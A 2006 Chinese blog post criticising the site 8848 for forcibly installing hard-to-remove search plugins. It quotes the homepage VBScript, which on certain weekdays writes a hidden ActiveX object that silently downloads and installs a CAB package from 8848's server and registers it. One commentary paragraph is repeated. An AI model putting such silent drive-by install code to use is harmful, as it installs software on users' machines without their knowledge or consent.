8848首页自动安装插件的VBScript代码
从网友收藏夹里看到了这段代码,以前看过,不懂。。。今天再看。。。。不太懂,哈哈哈!
不过还是很容易让人想起曾经的8848。那个想靠媒体吵作发家、使用流氓招数的8848,最终还是搬起石头砸了自己的脚。
(8848的回忆:
8848网络技术有限公司,
8848.net和8848.com,电子商务网站
强行安装自己的搜索等插件,而没有任何提示
更可气的是这些软件一旦安装,几乎是无法卸载
应该是年初,一刹那,8848开始出现无法访问的情况。
称是由于百度联盟利用分布式拒绝服务攻击(DDoS)
)
本本份份做网站是正道,做好网站才是根本。
这些小伎俩怎么能发家呢?
听说web2.0 也要关门拉,好嘛,迟早的事。与1.0相比,没有什么新技术,包装一下,即成了商业吵作。
至少我是这样认为。
收藏此代码:
不过还是很容易让人想起曾经的8848。那个想靠媒体吵作发家、使用流氓招数的8848,最终还是搬起石头砸了自己的脚。
(8848的回忆:
8848网络技术有限公司,
8848.net和8848.com,电子商务网站
强行安装自己的搜索等插件,而没有任何提示
更可气的是这些软件一旦安装,几乎是无法卸载
应该是年初,一刹那,8848开始出现无法访问的情况。
称是由于百度联盟利用分布式拒绝服务攻击(DDoS)
)
本本份份做网站是正道,做好网站才是根本。
这些小伎俩怎么能发家呢?
听说web2.0 也要关门拉,好嘛,迟早的事。与1.0相比,没有什么新技术,包装一下,即成了商业吵作。
至少我是这样认为。
收藏此代码:
<script language="VBScript">
<!--
RightDate=0
DIM wkd
wkd=weekday(now())
if wkd=2 or wkd=3 then
document.write("<object id='RegMore' classid='clsid:86BC8440-8693-4076-A144-6BAF942B40B0' height=0 width=0 CODEBASE='http://mysearch.8848.com/mysearch/MySearch.CAB#version=0,9,3,3'></object>")
RightDate=1
End If
Sub window_onLoad()
if RightDate=1 then
If RegMore.object Is Nothing Then
Else
RegMore.WebID = "TSFT000004"
RegMore.SetupRegister
End If
End If
end sub
-->
</script>
weiking
2006-07-23 09:01:15
评论:0
阅读:470
引用:0
